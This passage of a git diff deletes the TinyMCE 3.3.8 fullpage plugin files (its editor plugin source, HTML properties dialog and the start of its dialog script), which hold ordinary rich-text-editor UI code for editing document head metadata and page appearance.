b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js deleted file mode 100644 index a2c9df8..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/editor_plugin_src.js +++ /dev/null @@ -1,153 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.FullPagePlugin', { - init : function(ed, url) { - var t = this; - - t.editor = ed; - - // Register commands - ed.addCommand('mceFullPageProperties', function() { - ed.windowManager.open({ - file : url + '/fullpage.htm', - width : 430 + parseInt(ed.getLang('fullpage.delta_width', 0)), - height : 495 + parseInt(ed.getLang('fullpage.delta_height', 0)), - inline : 1 - }, { - plugin_url : url, - head_html : t.head - }); - }); - - // Register buttons - ed.addButton('fullpage', {title : 'fullpage.desc', cmd : 'mceFullPageProperties'}); - - ed.onBeforeSetContent.add(t._setContent, t); - ed.onSetContent.add(t._setBodyAttribs, t); - ed.onGetContent.add(t._getContent, t); - }, - - getInfo : function() { - return { - longname : 'Fullpage', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullpage', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - // Private plugin internal methods - - _setBodyAttribs : function(ed, o) { - var bdattr, i, len, kv, k, v, t, attr = this.head.match(/body(.*?)>/i); - - if (attr && attr[1]) { - bdattr = attr[1].match(/\s*(\w+\s*=\s*".*?"|\w+\s*=\s*'.*?'|\w+\s*=\s*\w+|\w+)\s*/g); - - if (bdattr) { - for(i = 0, len = bdattr.length; i < len; i++) { - kv = bdattr[i].split('='); - k = kv[0].replace(/\s/,''); - v = kv[1]; - - if (v) { - v = v.replace(/^\s+/,'').replace(/\s+$/,''); - t = v.match(/^["'](.*)["']$/); - - if (t) - v = t[1]; - } else - v = k; - - ed.dom.setAttrib(ed.getBody(), 'style', v); - } - } - } - }, - - _createSerializer : function() { - return new tinymce.dom.Serializer({ - dom : this.editor.dom, - apply_source_formatting : true - }); - }, - - _setContent : function(ed, o) { - var t = this, sp, ep, c = o.content, v, st = ''; - - // Ignore raw updated if we already have a head, this will fix issues with undo/redo keeping the head/foot separate - if (o.format == 'raw' && t.head) - return; - - if (o.source_view && ed.getParam('fullpage_hide_in_source_view')) - return; - - // Parse out head, body and footer - c = c.replace(/<(\/?)BODY/gi, '<$1body'); - sp = c.indexOf('<body'); - - if (sp != -1) { - sp = c.indexOf('>', sp); - t.head = c.substring(0, sp + 1); - - ep = c.indexOf('</body', sp); - if (ep == -1) - ep = c.indexOf('</body', ep); - - o.content = c.substring(sp + 1, ep); - t.foot = c.substring(ep); - - function low(s) { - return s.replace(/<\/?[A-Z]+/g, function(a) { - return a.toLowerCase(); - }) - }; - - t.head = low(t.head); - t.foot = low(t.foot); - } else { - t.head = ''; - if (ed.getParam('fullpage_default_xml_pi')) - t.head += '<?xml version="1.0" encoding="' + ed.getParam('fullpage_default_encoding', 'ISO-8859-1') + '" ?>\n'; - - t.head += ed.getParam('fullpage_default_doctype', '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">'); - t.head += '\n<html>\n<head>\n<title>' + ed.getParam('fullpage_default_title', 'Untitled document') + '</title>\n'; - - if (v = ed.getParam('fullpage_default_encoding')) - t.head += '<meta http-equiv="Content-Type" content="' + v + '" />\n'; - - if (v = ed.getParam('fullpage_default_font_family')) - st += 'font-family: ' + v + ';'; - - if (v = ed.getParam('fullpage_default_font_size')) - st += 'font-size: ' + v + ';'; - - if (v = ed.getParam('fullpage_default_text_color')) - st += 'color: ' + v + ';'; - - t.head += '</head>\n<body' + (st ? ' style="' + st + '"' : '') + '>\n'; - t.foot = '\n</body>\n</html>'; - } - }, - - _getContent : function(ed, o) { - var t = this; - - if (!o.source_view || !ed.getParam('fullpage_hide_in_source_view')) - o.content = tinymce.trim(t.head) + '\n' + tinymce.trim(o.content) + '\n' + tinymce.trim(t.foot); - } - }); - - // Register plugin - tinymce.PluginManager.add('fullpage', tinymce.plugins.FullPagePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/fullpage.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/fullpage.htm deleted file mode 100644 index c32afaf..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/fullpage.htm +++ /dev/null @@ -1,571 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#fullpage_dlg.title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="js/fullpage.js"></script> - <link href="css/fullpage.css" rel="stylesheet" type="text/css" /> -</head> -<body id="advlink" style="display: none"> - <form onsubmit="updateAction();return false;" name="fullpage" action="#"> - <div class="tabs"> - <ul> - <li id="meta_tab" class="current"><span><a href="javascript:mcTabs.displayTab('meta_tab','meta_panel');" onmousedown="return false;">{#fullpage_dlg.meta_tab}</a></span></li> - <li id="appearance_tab"><span><a href="javascript:mcTabs.displayTab('appearance_tab','appearance_panel');" onmousedown="return false;">{#fullpage_dlg.appearance_tab}</a></span></li> - <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#fullpage_dlg.advanced_tab}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="meta_panel" class="panel current"> - <fieldset> - <legend>{#fullpage_dlg.meta_props}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="nowrap"><label for="metatitle">{#fullpage_dlg.meta_title}</label>&nbsp;</td> - <td><input type="text" id="metatitle" name="metatitle" value="" class="mceFocus" /></td> - </tr> - <tr> - <td class="nowrap"><label for="metakeywords">{#fullpage_dlg.meta_keywords}</label>&nbsp;</td> - <td><textarea id="metakeywords" name="metakeywords" rows="4"></textarea></td> - </tr> - <tr> - <td class="nowrap"><label for="metadescription">{#fullpage_dlg.meta_description}</label>&nbsp;</td> - <td><textarea id="metadescription" name="metadescription" rows="4"></textarea></td> - </tr> - <tr> - <td class="nowrap"><label for="metaauthor">{#fullpage_dlg.author}</label>&nbsp;</td> - <td><input type="text" id="metaauthor" name="metaauthor" value="" /></td> - </tr> - <tr> - <td class="nowrap"><label for="metacopyright">{#fullpage_dlg.copyright}</label>&nbsp;</td> - <td><input type="text" id="metacopyright" name="metacopyright" value="" /></td> - </tr> - <tr> - <td class="nowrap"><label for="metarobots">{#fullpage_dlg.meta_robots}</label>&nbsp;</td> - <td> - <select id="metarobots" name="metarobots"> - <option value="">{#not_set}</option> - <option value="index,follow">{#fullpage_dlg.meta_index_follow}</option> - <option value="index,nofollow">{#fullpage_dlg.meta_index_nofollow}</option> - <option value="noindex,follow">{#fullpage_dlg.meta_noindex_follow}</option> - <option value="noindex,nofollow">{#fullpage_dlg.meta_noindex_nofollow}</option> - </select> - </td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#fullpage_dlg.langprops}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="docencoding">{#fullpage_dlg.encoding}</label></td> - <td> - <select id="docencoding" name="docencoding"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="nowrap"><label for="doctypes">{#fullpage_dlg.doctypes}</label>&nbsp;</td> - <td> - <select id="doctypes" name="doctypes"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - <tr> - <td class="nowrap"><label for="langcode">{#fullpage_dlg.langcode}</label>&nbsp;</td> - <td><input type="text" id="langcode" name="langcode" value="" /></td> - </tr> - <tr> - <td class="column1"><label for="langdir">{#fullpage_dlg.langdir}</label></td> - <td> - <select id="langdir" name="langdir"> - <option value="">{#not_set}</option> - <option value="ltr">{#fullpage_dlg.ltr}</option> - <option value="rtl">{#fullpage_dlg.rtl}</option> - </select> - </td> - </tr> - <tr> - <td class="nowrap"><label for="xml_pi">{#fullpage_dlg.xml_pi}</label>&nbsp;</td> - <td><input type="checkbox" id="xml_pi" name="xml_pi" class="checkbox" /></td> - </tr> - </table> - </fieldset> - </div> - - <div id="appearance_panel" class="panel"> - <fieldset> - <legend>{#fullpage_dlg.appearance_textprops}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="fontface">{#fullpage_dlg.fontface}</label></td> - <td> - <select id="fontface" name="fontface" onchange="changedStyleField(this);"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="fontsize">{#fullpage_dlg.fontsize}</label></td> - <td> - <select id="fontsize" name="fontsize" onchange="changedStyleField(this);"> - <option value="">{#not_set}</option> - </select> - </td> - </tr> - - <tr> - <td class="column1"><label for="textcolor">{#fullpage_dlg.textcolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="textcolor" name="textcolor" type="text" value="" size="9" onchange="updateColor('textcolor_pick','textcolor');changedStyleField(this);" /></td> - <td id="textcolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#fullpage_dlg.appearance_bgprops}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="bgimage">{#fullpage_dlg.bgimage}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bgimage" name="bgimage" type="text" value="" onchange="changedStyleField(this);" /></td> - <td id="bgimage_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - <tr> - <td class="column1"><label for="bgcolor">{#fullpage_dlg.bgcolor}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="bgcolor" name="bgcolor" type="text" value="" size="9" onchange="updateColor('bgcolor_pick','bgcolor');changedStyleField(this);" /></td> - <td id="bgcolor_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#fullpage_dlg.appearance_marginprops}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="leftmargin">{#fullpage_dlg.left_margin}</label></td> - <td><input id="leftmargin" name="leftmargin" type="text" value="" onchange="changedStyleField(this);" /></td> - <td class="column1"><label for="rightmargin">{#fullpage_dlg.right_margin}</label></td> - <td><input id="rightmargin" name="rightmargin" type="text" value="" onchange="changedStyleField(this);" /></td> - </tr> - <tr> - <td class="column1"><label for="topmargin">{#fullpage_dlg.top_margin}</label></td> - <td><input id="topmargin" name="topmargin" type="text" value="" onchange="changedStyleField(this);" /></td> - <td class="column1"><label for="bottommargin">{#fullpage_dlg.bottom_margin}</label></td> - <td><input id="bottommargin" name="bottommargin" type="text" value="" onchange="changedStyleField(this);" /></td> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#fullpage_dlg.appearance_linkprops}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="link_color">{#fullpage_dlg.link_color}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="link_color" name="link_color" type="text" value="" size="9" onchange="updateColor('link_color_pick','link_color');changedStyleField(this);" /></td> - <td id="link_color_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - - <td class="column1"><label for="visited_color">{#fullpage_dlg.visited_color}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="visited_color" name="visited_color" type="text" value="" size="9" onchange="updateColor('visited_color_pick','visited_color');changedStyleField(this);" /></td> - <td id="visited_color_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="column1"><label for="active_color">{#fullpage_dlg.active_color}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="active_color" name="active_color" type="text" value="" size="9" onchange="updateColor('active_color_pick','active_color');changedStyleField(this);" /></td> - <td id="active_color_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> - - <td>&nbsp;</td> - <td>&nbsp;</td> - -<!-- <td class="column1"><label for="hover_color">{#fullpage_dlg.hover_color}</label></td> - <td> - <table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="hover_color" name="hover_color" type="text" value="" size="9" onchange="changedStyleField(this);" /></td> - <td id="hover_color_pickcontainer">&nbsp;</td> - </tr> - </table> - </td> --> - </tr> - </table> - </fieldset> - - <fieldset> - <legend>{#fullpage_dlg.appearance_style}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="stylesheet">{#fullpage_dlg.stylesheet}</label></td> - <td><table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="stylesheet" name="stylesheet" type="text" value="" /></td> - <td id="stylesheet_browsercontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td class="column1"><label for="style">{#fullpage_dlg.style}</label></td> - <td><input id="style" name="style" type="text" value="" onchange="changedStyleField(this);" /></td> - </tr> - </table> - </fieldset> - </div> - - <div id="advanced_panel" class="panel"> - <div id="addmenu"> - <table border="0" cellpadding="0" cellspacing="0"> - <tr><td><a href="javascript:addHeadElm('title');" onmousedown="return false;"><span>{#fullpage_dlg.add_title}</span></a></td></tr> - <tr><td><a href="javascript:addHeadElm('meta');" onmousedown="return false;"><span>{#fullpage_dlg.add_meta}</span></a></td></tr> - <tr><td><a href="javascript:addHeadElm('script');" onmousedown="return false;"><span>{#fullpage_dlg.add_script}</span></a></td></tr> - <tr><td><a href="javascript:addHeadElm('style');" onmousedown="return false;"><span>{#fullpage_dlg.add_style}</span></a></td></tr> - <tr><td><a href="javascript:addHeadElm('link');" onmousedown="return false;"><span>{#fullpage_dlg.add_link}</span></a></td></tr> - <tr><td><a href="javascript:addHeadElm('base');" onmousedown="return false;"><span>{#fullpage_dlg.add_base}</span></a></td></tr> - <tr><td><a href="javascript:addHeadElm('comment');" onmousedown="return false;"><span>{#fullpage_dlg.add_comment}</span></a></td></tr> - </table> - </div> - - <fieldset> - <legend>{#fullpage_dlg.head_elements}</legend> - - <div class="headlistwrapper"> - <div class="toolbar"> - <div style="float: left"> - <a id="addbutton" href="javascript:showAddMenu();" onmousedown="return false;" class="addbutton" title="{#fullpage_dlg.add}"></a> - <a href="#" onmousedown="return false;" class="removebutton" title="{#fullpage_dlg.remove}"></a> - </div> - <div style="float: right"> - <a href="#" onmousedown="return false;" class="moveupbutton" title="{#fullpage_dlg.moveup}"></a> - <a href="#" onmousedown="return false;" class="movedownbutton" title="{#fullpage_dlg.movedown}"></a> - </div> - <br style="clear: both" /> - </div> - <select id="headlist" size="26" onchange="updateHeadElm(this.options[this.selectedIndex].value);"> - <option value="title_0">&lt;title&gt;Some title bla bla bla&lt;/title&gt;</option> - <option value="meta_1">&lt;meta name="keywords"&gt;Some bla bla bla&lt;/meta&gt;</option> - <option value="meta_2">&lt;meta name="description"&gt;Some bla bla bla bla bla bla bla bla bla&lt;/meta&gt;</option> - <option value="script_3">&lt;script language=&quot;javascript&quot;&gt;...&lt;/script&gt;</option> - <option value="style_4">&lt;style&gt;...&lt;/style&gt;</option> - <option value="base_5">&lt;base href="." /&gt;</option> - <option value="comment_6">&lt;!-- ... --&gt;</option> - <option value="link_7">&lt;link href="." /&gt;</option> - </select> - </div> - </fieldset> - - <fieldset id="meta_element"> - <legend>{#fullpage_dlg.meta_element}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_meta_type">{#fullpage_dlg.type}</label></td> - <td><select id="element_meta_type"> - <option value="name">name</option> - <option value="http-equiv">http-equiv</option> - </select></td> - </tr> - <tr> - <td class="column1"><label for="element_meta_name">{#fullpage_dlg.name}</label></td> - <td><input id="element_meta_name" name="element_meta_name" type="text" value="" /></td> - </tr> - <tr> - <td class="column1"><label for="element_meta_content">{#fullpage_dlg.content}</label></td> - <td><input id="element_meta_content" name="element_meta_content" type="text" value="" /></td> - </tr> - </table> - - <input type="button" id="meta_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - - <fieldset id="title_element"> - <legend>{#fullpage_dlg.title_element}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_title">{#fullpage_dlg.meta_title}</label></td> - <td><input id="element_title" name="element_title" type="text" value="" /></td> - </tr> - </table> - - <input type="button" id="title_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - - <fieldset id="script_element"> - <legend>{#fullpage_dlg.script_element}</legend> - - <div class="tabs"> - <ul> - <li id="script_props_tab" class="current"><span><a href="javascript:mcTabs.displayTab('script_props_tab','script_props_panel');" onmousedown="return false;">{#fullpage_dlg.properties}</a></span></li> - <li id="script_value_tab"><span><a href="javascript:mcTabs.displayTab('script_value_tab','script_value_panel');" onmousedown="return false;">{#fullpage_dlg.value}</a></span></li> - </ul> - </div> - - <br style="clear: both" /> - - <div class="panel_wrapper"> - <div id="script_props_panel" class="panel current"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_script_type">{#fullpage_dlg.type}</label></td> - <td><select id="element_script_type"> - <option value="text/javascript">text/javascript</option> - <option value="text/jscript">text/jscript</option> - <option value="text/vbscript">text/vbscript</option> - <option value="text/vbs">text/vbs</option> - <option value="text/ecmascript">text/ecmascript</option> - <option value="text/xml">text/xml</option> - </select></td> - </tr> - <tr> - <td class="column1"><label for="element_script_src">{#fullpage_dlg.src}</label></td> - <td><table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="element_script_src" name="element_script_src" type="text" value="" /></td> - <td id="script_src_pickcontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td class="column1"><label for="element_script_charset">{#fullpage_dlg.charset}</label></td> - <td><select id="element_script_charset"><option value="">{#not_set}</option></select></td> - </tr> - <tr> - <td class="column1"><label for="element_script_defer">{#fullpage_dlg.defer}</label></td> - <td><input type="checkbox" id="element_script_defer" name="element_script_defer" class="checkbox" /></td> - </tr> - </table> - </div> - - <div id="script_value_panel" class="panel"> - <textarea id="element_script_value"></textarea> - </div> - </div> - - <input type="button" id="script_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - - <fieldset id="style_element"> - <legend>{#fullpage_dlg.style_element}</legend> - - <div class="tabs"> - <ul> - <li id="style_props_tab" class="current"><span><a href="javascript:mcTabs.displayTab('style_props_tab','style_props_panel');" onmousedown="return false;">{#fullpage_dlg.properties}</a></span></li> - <li id="style_value_tab"><span><a href="javascript:mcTabs.displayTab('style_value_tab','style_value_panel');" onmousedown="return false;">{#fullpage_dlg.value}</a></span></li> - </ul> - </div> - - <br style="clear: both" /> - - <div class="panel_wrapper"> - <div id="style_props_panel" class="panel current"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_style_type">{#fullpage_dlg.type}</label></td> - <td><select id="element_style_type"> - <option value="text/css">text/css</option> - </select></td> - </tr> - <tr> - <td class="column1"><label for="element_style_media">{#fullpage_dlg.media}</label></td> - <td><select id="element_style_media"></select></td> - </tr> - </table> - </div> - - <div id="style_value_panel" class="panel"> - <textarea id="element_style_value"></textarea> - </div> - </div> - - <input type="button" id="style_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - - <fieldset id="base_element"> - <legend>{#fullpage_dlg.base_element}</legend> - - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_base_href">{#fullpage_dlg.href}</label></td> - <td><input id="element_base_href" name="element_base_href" type="text" value="" /></td> - </tr> - <tr> - <td class="column1"><label for="element_base_target">{#fullpage_dlg.target}</label></td> - <td><input id="element_base_target" name="element_base_target" type="text" value="" /></td> - </tr> - </table> - - <input type="button" id="base_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - - <fieldset id="link_element"> - <legend>{#fullpage_dlg.link_element}</legend> - - <div class="tabs"> - <ul> - <li id="link_general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('link_general_tab','link_general_panel');" onmousedown="return false;">{#fullpage_dlg.general_props}</a></span></li> - <li id="link_advanced_tab"><span><a href="javascript:mcTabs.displayTab('link_advanced_tab','link_advanced_panel');" onmousedown="return false;">{#fullpage_dlg.advanced_props}</a></span></li> - </ul> - </div> - - <br style="clear: both" /> - - <div class="panel_wrapper"> - <div id="link_general_panel" class="panel current"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_link_href">{#fullpage_dlg.href}</label></td> - <td><table border="0" cellpadding="0" cellspacing="0"> - <tr> - <td><input id="element_link_href" name="element_link_href" type="text" value="" /></td> - <td id="link_href_pickcontainer">&nbsp;</td> - </tr> - </table></td> - </tr> - <tr> - <td class="column1"><label for="element_link_title">{#fullpage_dlg.meta_title}</label></td> - <td><input id="element_link_title" name="element_link_title" type="text" value="" /></td> - </tr> - <tr> - <td class="column1"><label for="element_link_type">{#fullpage_dlg.type}</label></td> - <td><select id="element_link_type" name="element_link_type"> - <option value="text/css">text/css</option> - <option value="text/javascript">text/javascript</option> - </select></td> - </tr> - <tr> - <td class="column1"><label for="element_link_media">{#fullpage_dlg.media}</label></td> - <td><select id="element_link_media" name="element_link_media"></select></td> - </tr> - <tr> - <td><label for="element_style_rel">{#fullpage_dlg.rel}</label></td> - <td><select id="element_style_rel" name="element_style_rel"> - <option value="">{#not_set}</option> - <option value="stylesheet">Stylesheet</option> - <option value="alternate">Alternate</option> - <option value="designates">Designates</option> - <option value="start">Start</option> - <option value="next">Next</option> - <option value="prev">Prev</option> - <option value="contents">Contents</option> - <option value="index">Index</option> - <option value="glossary">Glossary</option> - <option value="copyright">Copyright</option> - <option value="chapter">Chapter</option> - <option value="subsection">Subsection</option> - <option value="appendix">Appendix</option> - <option value="help">Help</option> - <option value="bookmark">Bookmark</option> - </select> - </td> - </tr> - </table> - </div> - - <div id="link_advanced_panel" class="panel"> - <table border="0" cellpadding="4" cellspacing="0"> - <tr> - <td class="column1"><label for="element_link_charset">{#fullpage_dlg.charset}</label></td> - <td><select id="element_link_charset"><option value="">{#not_set}</option></select></td> - </tr> - <tr> - <td class="column1"><label for="element_link_hreflang">{#fullpage_dlg.hreflang}</label></td> - <td><input id="element_link_hreflang" name="element_link_hreflang" type="text" value="" /></td> - </tr> - <tr> - <td class="column1"><label for="element_link_target">{#fullpage_dlg.target}</label></td> - <td><input id="element_link_target" name="element_link_target" type="text" value="" /></td> - </tr> - <tr> - <td><label for="element_style_rev">{#fullpage_dlg.rev}</label></td> - <td><select id="element_style_rev" name="element_style_rev"> - <option value="">{#not_set}</option> - <option value="alternate">Alternate</option> - <option value="designates">Designates</option> - <option value="stylesheet">Stylesheet</option> - <option value="start">Start</option> - <option value="next">Next</option> - <option value="prev">Prev</option> - <option value="contents">Contents</option> - <option value="index">Index</option> - <option value="glossary">Glossary</option> - <option value="copyright">Copyright</option> - <option value="chapter">Chapter</option> - <option value="subsection">Subsection</option> - <option value="appendix">Appendix</option> - <option value="help">Help</option> - <option value="bookmark">Bookmark</option> - </select> - </td> - </tr> - </table> - </div> - </div> - - <input type="button" id="link_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - - <fieldset id="comment_element"> - <legend>{#fullpage_dlg.comment_element}</legend> - - <textarea id="element_comment_value"></textarea> - - <input type="button" id="comment_updateelement" class="updateElementButton" name="update" value="{#update}" onclick="updateElement();" /> - </fieldset> - </div> - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="update" value="{#update}" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> - </form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/js/fullpage.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/js/fullpage.js deleted file mode 100644 index a1bb719..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/fullpage/js/fullpage.js +++ /dev/null @@ -1,471 +0,0 @@ -/** - * fullpage.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -tinyMCEPopup.requireLangPack(); - -var doc; - -var defaultDocTypes = - 'XHTML 1.0 Transitional=<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">,' + - 'XHTML 1.0 Frameset=<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">,' + - 'XHTML 1.0 Strict=<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">,' + - 'XHTML 1.1=<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">,' + - 'HTML 4.01 Transitional=<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">,' + - 'HTML 4.01 Strict=<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">,' + - 'HTML 4.01 Frameset=<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">'; - -var defaultEncodings = - 'Western european (iso-8859-1)=iso-8859-1,' + - 'Central European (iso-8859-2)=iso-8859-2,' + - 'Unicode (UTF-8)=utf-8,' + - 'Chinese traditional (Big5)=big5,' + - 'Cyrillic (iso-8859-5)=iso-8859-5,' + - 'Japanese (iso-2022-jp)=iso-2022-jp,' + - 'Greek (iso-8859-7)=iso-8859-7,' + - 'Korean (iso-2022-kr)=iso-2022-kr,' + - 'ASCII (us-ascii)=us-ascii'; - -var defaultMediaTypes = - 'all=all,' + - 'screen=screen,' + - 'print=print,' + - 'tty=tty,' + - 'tv=tv,' + - 'projection=projection,' + - 'handheld=handheld,' + - 'braille=braille,' + - 'aural=aural'; - -var defaultFontNames = 'Arial=arial,helvetica,sans-serif;Courier New=courier new,courier,monospace;Georgia=georgia,times new roman,times,serif;Tahoma=tahoma,arial,helvetica,sans-serif;Times New Roman=times new roman,times,serif;Verdana=verdana,arial,helvetica,sans-serif;Impact=impact;WingDings=wingdings'; -var defaultFontSizes = '10px,11px,12px,13px,14px,15px,16px'; - -function init() { - var f = document.forms['fullpage'], el = f.elements, e, i, p, doctypes, encodings, mediaTypes, fonts, ed = tinyMCEPopup.editor, dom = tinyMCEPopup.dom, style; - - // Setup doctype select box - doctypes = ed.getParam("fullpage_doctypes", defaultDocTypes).split(','); - for (i=0; i<doctypes.length; i++) { - p = doctypes[i].split('='); - - if (p.length > 1) - addSelectValue(f, 'doctypes', p[0], p[1]); - } - - // Setup fonts select box - fonts = ed.getParam("fullpage_fonts", defaultFontNames).split(';'); - for (i=0; i<fonts.length; i++) { - p = fonts[i].split('='); - - if (p.length > 1) - addSelectValue(f, 'fontface', p[0], p[1]); - } - - // Setup fontsize select box - fonts = ed.getParam("fullpage_fontsizes", defaultFontSizes).split(','); - for (i=0; i<fonts.length; i++) - addSelectValue(f, 'fontsize', fonts[i], fonts[i]); - - // Setup mediatype select boxs - mediaTypes = ed.getParam("fullpage_media_types", defaultMediaTypes).split(','); - for (i=0; i<mediaTypes.length; i++) { - p = mediaTypes[i].split('='); - - if (p.length > 1) { - addSelectValue(f, 'element_style_media', p[0], p[1]); - addSelectValue(f, 'element_link_media', p[0], p[1]); - } - } - - // Setup encodings select box - encodings = ed.getParam("fullpage_encodings", defaultEncodings).split(','); - for (i=0; i<encodings.length; i++) { - p = encodings[i].split('='); - - if (p.length > 1) { - addSelectValue(f, 'docencoding', p[0], p[1]); - addSelectValue(f, 'element_script_charset', p[0], p[1]); - addSelectValue(f, 'element_link_charset', p[0], p[1]); - } - } - - document.getElementById('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); - document.getElementById('link_color_pickcontainer').innerHTML = getColorPickerHTML('link_color_pick','link_color'); - //document.getElementById('hover_color_pickcontainer').innerHTML = getColorPickerHTML('hover_color_pick','hover_color'); - document.getElementById('visited_color_pickcontainer').innerHTML = getColorPickerHTML('visited_color_pick','visited_color'); - document.getElementById('active_color_pickcontainer').innerHTML = getColorPickerHTML('active_color_pick','active_color'); - document.getElementById('textcolor_pickcontainer').innerHTML = getColorPickerHTML('textcolor_pick','textcolor'); - document.getElementById('stylesheet_browsercontainer').innerHTML = getBrowserHTML('stylesheetbrowser','stylesheet','file','fullpage'); - document.getElementById('link_href_pickcontainer').innerHTML = getBrowserHTML('link_href_browser','element_link_href','file','fullpage'); - document.getElementById('script_src_pickcontainer').innerHTML = getBrowserHTML('script_src_browser','element_script_src','file','fullpage'); - document.getElementById('bgimage_pickcontainer').innerHTML = getBrowserHTML('bgimage_browser','bgimage','image','fullpage'); - - // Resize some elements - if (isVisible('stylesheetbrowser')) - 